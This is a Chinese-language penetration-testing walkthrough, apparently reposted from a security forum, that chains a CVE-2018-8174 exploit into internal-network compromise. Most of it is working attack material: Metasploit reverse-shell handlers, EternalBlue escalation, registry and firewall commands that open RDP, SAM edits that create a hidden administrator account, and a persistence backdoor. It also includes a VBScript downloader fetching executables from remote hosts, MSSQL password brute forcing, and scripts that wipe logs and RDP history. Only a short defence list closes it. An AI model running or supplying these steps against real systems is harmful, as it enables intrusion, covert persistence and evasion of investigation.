FavoriteLoading
0

CVE-2018-8174漏洞復現及內網滲透攻擊

本文涉及的知識點:?CVE-2018-8174漏洞復現內網滲透權限維持腳本編程痕跡清除端口轉發利用MS17-010提權

CVE-2018-8174漏洞簡介

CVE-2018-8174是 Windows VBScript Engine 代碼執行漏洞。由于VBScript腳本執行引擎(vbscript.dll)存在代碼執行漏洞,攻擊者可以將惡意的VBScript嵌入到Office文件或者網站中,一旦用戶不小心點擊,遠程攻擊者可以獲取當前用戶權限執行腳本中的惡意代碼,該漏洞影響最新版本的IE瀏覽器及使用了IE內核的應用程序。用戶在瀏覽網頁或打開Office文檔時都可能中招,最終被黑客植入后門木馬完全控制電腦。在基于Web的攻擊情形中,攻擊者能通過Internet Explorer利用此漏洞的特定網站,然后誘使用戶查看該網站。攻擊者還可以在承載IE呈現引擎的應用程序或Microsoft Office文檔中嵌入標記為“安全初始化”的ActiveX控件。攻擊者還可以利用受到破壞的網站和接受或托管用戶提供的內容或廣告的網站。這些網站可能包含可能利用此漏洞的特制內容。

Persistence后門

Persistence是一款使用安裝自啟動方式的持久性后門程序,讀者可以利用??它創建注冊和文件。
參數解釋:

  • A: 自動啟動Payload程序
  • S: 系統啟動時自動加載
  • U: 用戶登錄時自動啟動
  • X: 開機時自動加載
  • i: 回連的時間間隔
  • P: 監聽反向連接端口號
  • r: 目標機器IP地址

環境搭建

拓撲圖

Win server 2008 對Windows 7開啟1433端口

  1. 選擇“打開或者關閉Windows防火墻”把防火墻打開,然后選擇“高級設置”,選擇“創建規則”來指定端口。
  1. 在“入站規則”里選擇剛才創建的規則,名稱是“1433”,如下圖所示

  2. 在屬性對話框中,選擇“遠程IP地址”時,使用Windows7 的IP地址:172.20.10.177,配置完成后,Win server 2008 對Windows7成功開啟1433端口

內網攻擊過程

1號機獲得2號機的權限

利用CVE-2018-8174漏洞獲取2號機(Windows 7)權限,添加攻擊者用戶

  1. 從github上克隆CVE-2018-8174的EXP到Kali Linux
    git clone https://github.com/iBearcat/CVE-2018-8174_EXP.git

  2. 生成惡意html和rtf文件
    cd CVE-2018-8174_EXP/

python CVE-2018-8174.py -u http://192.168.114.130/exploit.html -o exploit.rtf -i 192.168.114.130 -p 4444

  1. 將惡意html文件移動到網站根目錄,啟動apache2服務
    cp exploit.html /var/www/html/
    service apache2 start

  2. 新打開一個終端,生成MSF監聽

    msfconsole -x "use exploit/multi/handler; set PAYLOAD Windows/shell/reverse_tcp; set LHOST 192.168.114.130; set lport 4444; run"

  3. 受害者點擊惡意鏈接

  1. 在kali里接收到了shell,可在meterpreter中管理shell
    發現非管理員權限

接收到反彈的shell

非管理員權限

  1. 使用MS17-010模塊進行提權
    use auxiliary/scanner/smb/smb_ms17_010
    使用ms17-010模塊

在運行該模塊之前,需要設置相關選項,我們使用show options查看配? ?置信息

show options

  1. 需要設置目標地址,設置命令:set RHOSTS 192.168.114.138

9.設置完成后,執行run或exploit命令,等待執行結果,發現存在永恒之藍漏洞

10.使用漏洞利用模塊

use exploit/Windows/smb/ms17_010_eternalblue

11.查看配置信息,并設置標記為yes的屬性,show options,目標機host? ?地址:192.168.114.138,set RHOST 192.168.114.138

  1. 選擇載荷payload,也就是shellcode,此處我們選擇回連至控制端? ?shell的payload

set payload??Windows/x64/meterpreter/reverse_tcp

同樣,載荷也需要進行配置,show options查看配置信息
配置中缺少本地主機 LHOST,設置一下

set LHOST 192.168.114.130

  1. 完成配置后,運行exploit或者run,開始執行漏洞利用模塊
    成功獲取來自目標主機的Session會話

  2. 查看受害者機器相關信息

15.成功使用MS17010獲得系統權限

  1. 發現未開啟3389端口

17.添加3389入站規則

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP??dir=in localport=3389 action=allow

  1. 開啟3389端口
    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server? ???/v fDenyTSConnections /t REG_DWORD /d 0 /f

  1. 成功打開3389端口

  2. 創建管理員用戶Waldo

net user Waldo 123456hhhh. /add

net localgroup administrators Waldo /add

  1. 使用Waldo賬戶遠程登錄
    portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.114.138

rdesktop??127.0.0.1 -u Waldo -p 123456hhhh.

添加超級隱藏管理員賬戶

net user test$ 123456 /add

net localgroup administrators test$ /add

但在管理賬戶面板依然能夠看見,下面要解決這個問題

在注冊表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下找??到新建的帳戶test$

獲取默認類型為0x3ec,將注冊表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$導出為1.reg

在注冊表下能夠找到對應類型名稱的注冊表項? ??HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EC

右鍵將該鍵導出為2.reg,保存的文件信息如下圖

42.png

默認情況下,管理員帳戶Administrator對應的注冊表鍵值為HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
同樣,右鍵將該鍵導出為3.reg

將注冊表項HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA下鍵F的值替換為HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4下鍵F的值,即2.reg中鍵F的值替換成3.reg中鍵F的值

替換后,如圖

命令行刪除特殊賬戶:?net user test$ /del

導入reg文件:

regedit /s 1.reg

regedit /s 2.reg

隱藏賬戶制做完成,控制面板不存在帳戶test$

通過net user無法列出該帳戶
計算機管理-本地用戶和組-用戶也無法列出該帳戶
但可通過如下方式查看:?net user test$

命令窗口打開后,鍵入net user test$/active:yes。輸完后按一下回車鍵看到“命令成功完成”信息即表明超級隱藏賬戶test$ 賬戶已啟用

端口轉發:
portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.114.138

使用超級隱藏賬戶登錄:
rdesktop 127.0.0.1 -u test$ -p 123456

Windows 不會顯示隱藏賬戶

使用vbs腳本上傳SQLTOOLS.exe

腳本如下:

url = "http://wjs001.cn/lcx.exe"? ? '網絡上的文件地址
saveas = "c:\lcx.exe"? ?? ?? ?? ?? ? '保存成的本地文件

Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '創建HTTP請求對象
Set stream = CreateObject("ADODB.Stream")? ?? ? '創建ADO數據流對象

Call xmlhttp.open("GET",url,False)'打開連接
Call xmlhttp.send()'發送請求

stream.mode = 3 '設置數據流為讀寫模式
stream.type = 1? ???'設置數據流為二進制模式
Call stream.open()'打開數據流
Call stream.write(xmlhttp.responsebody)'將服務器的返回報文主體內容寫入數據流
Call stream.savetofile(saveas,2)'將數據流保存為文件

'釋放對象
Set xmlhttp = Nothing
Set stream = Nothing

在shell下,創建文件夾:?mkdir C:\\hack\\

將腳本上傳到創建好的名為hack的文件夾下:

meterpreter > upload /root/down1.vps??C:\\hack

查看C:\hack確認上傳成功:

運行cscript down1.vbs,上傳SQLTOOLS軟件:

Kali對Windows 7(192.168.114.138)的權限維持見**權限維持**模塊

從Windows 7進攻Windows server 2008

對Windws server 2008的sa賬戶進行爆破

  1. 使用nmap掃描發現172.20.10.208開了1433端口

nmap -p1433 --open 172.20.10.0/24

  1. 使用ms-sql-brute模塊對Win server 2008的sa賬戶進行爆破,獲得用戶名為sa,密碼為123456

name.txt和password.txt是爆破用的字典

nmap -p 1433 --script ms-sql-brute --script-args userdb=C:\Users\Waldo\Desktop\name.txt,passdb=C:\Users\Waldo\Desktop\password.txt 172.20.10.208

利用sqltoos獲取Win server 2008 的權限

  1. 使用sqltools進行sql連接

    1. 用xp_cmdshell關閉防火墻限制

netsh firewall set opmode mode=disable

  1. 添加3389入站規則
    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

4.開啟3389端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

開啟3389端口

  1. 創建管理員用戶Waldo6TEST

net user Waldo2008 1234567hhhh. /add

net localgroup administrators Waldo2008 /add

添加用戶Waldo2008

 Waldo2008擁有管理員權限

Windows 7中遠程登錄Win server 2008

  1. 在Windows 7 使用用戶名Wado2008T 密碼1234567hhhh.成功登陸Win server 2008

權限維持(Kali到Windows7)

run persistence -X -i 5 -p 1121 -r 192.168.114.130,這里在Meterpreter會話中運行persistence后滲透攻擊模塊,在目標主機的注冊表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run添加下圖中倒數第一個[*],達到自啟動的目的,-X參數指定啟動的方式為開機自啟動,-i參數指定反向連接的時間間隔

然后建立Meterpreter的客戶端,在指定回來的1121端口進行監聽,待Windows 7(192.168.114.138),等待后門重新連接,具體操作命令如下:

msfconsole 
use exploit/multi/handler
set PAYLOAD Windows/meterpreter/reverse_tcp
set LHOST 192.168.114.130
set lport 1121
run

痕跡清除

使用清除遠程連接歷史記錄的BAT腳本

clearev命令

未清除時Windows 7(192.168.114.138)中的日志

腳本分析

目標機器下載程序的vbs腳本

注: 使用service apache2 start將kali linux apache2服務打開,可以使之充當服務器,將需要上傳的文件放在/var/www/html目錄下

url = "http://192.168.114.130/SQL.exe"? ? '網絡上的文件地址
saveas = "C:\hack\SQL.exe"? ?? ?? ?? ?? ? '保存成的本地文件
Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '創建HTTP請求對象
Set stream = CreateObject("ADODB.Stream")? ?? ? '創建ADO數據流對象
Call xmlhttp.open("GET",url,False)'打開連接
Call xmlhttp.send()'發送請求
stream.mode = 3 '設置數據流為讀寫模式
stream.type = 1? ???'設置數據流為二進制模式
Call stream.open()'打開數據流
Call stream.write(xmlhttp.responsebody)'將服務器的返回報文主體內容寫入數據流
Call stream.savetofile(saveas,2)'將數據流保存為文件
'釋放對象
Set xmlhttp = Nothing
Set stream = Nothing

清除3389遠程桌面連接記錄的批處理腳本

@cls ::清屏
home.php?mod=space&uid=65712 0b ::設置默認的控制臺前景和背景顏色
::REM清除mstsc歷史記錄
echo off ::echo off執行以后,后面所有的命令均不顯示,但本條命令是顯示的
mstsc
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /f 
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
cd /d %USERPROFILE%
del *.rdp /a/s

解釋:
/f: 不提示
/a: 刪除隱藏文件

如何防御

1.不要打開任何來源不明的鏈接或Office文檔

2.及時更新并安裝微軟發布的最新補丁

3.定期查看日志和管理用戶界面

4.及時更新殺毒軟件,并對計算機進行殺毒

原文鏈接:https://bbs.ichunqiu.com/thread-49407-1-6.html

【聲明】:8090安全小組門戶(http://www.jvwkvg.tw)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。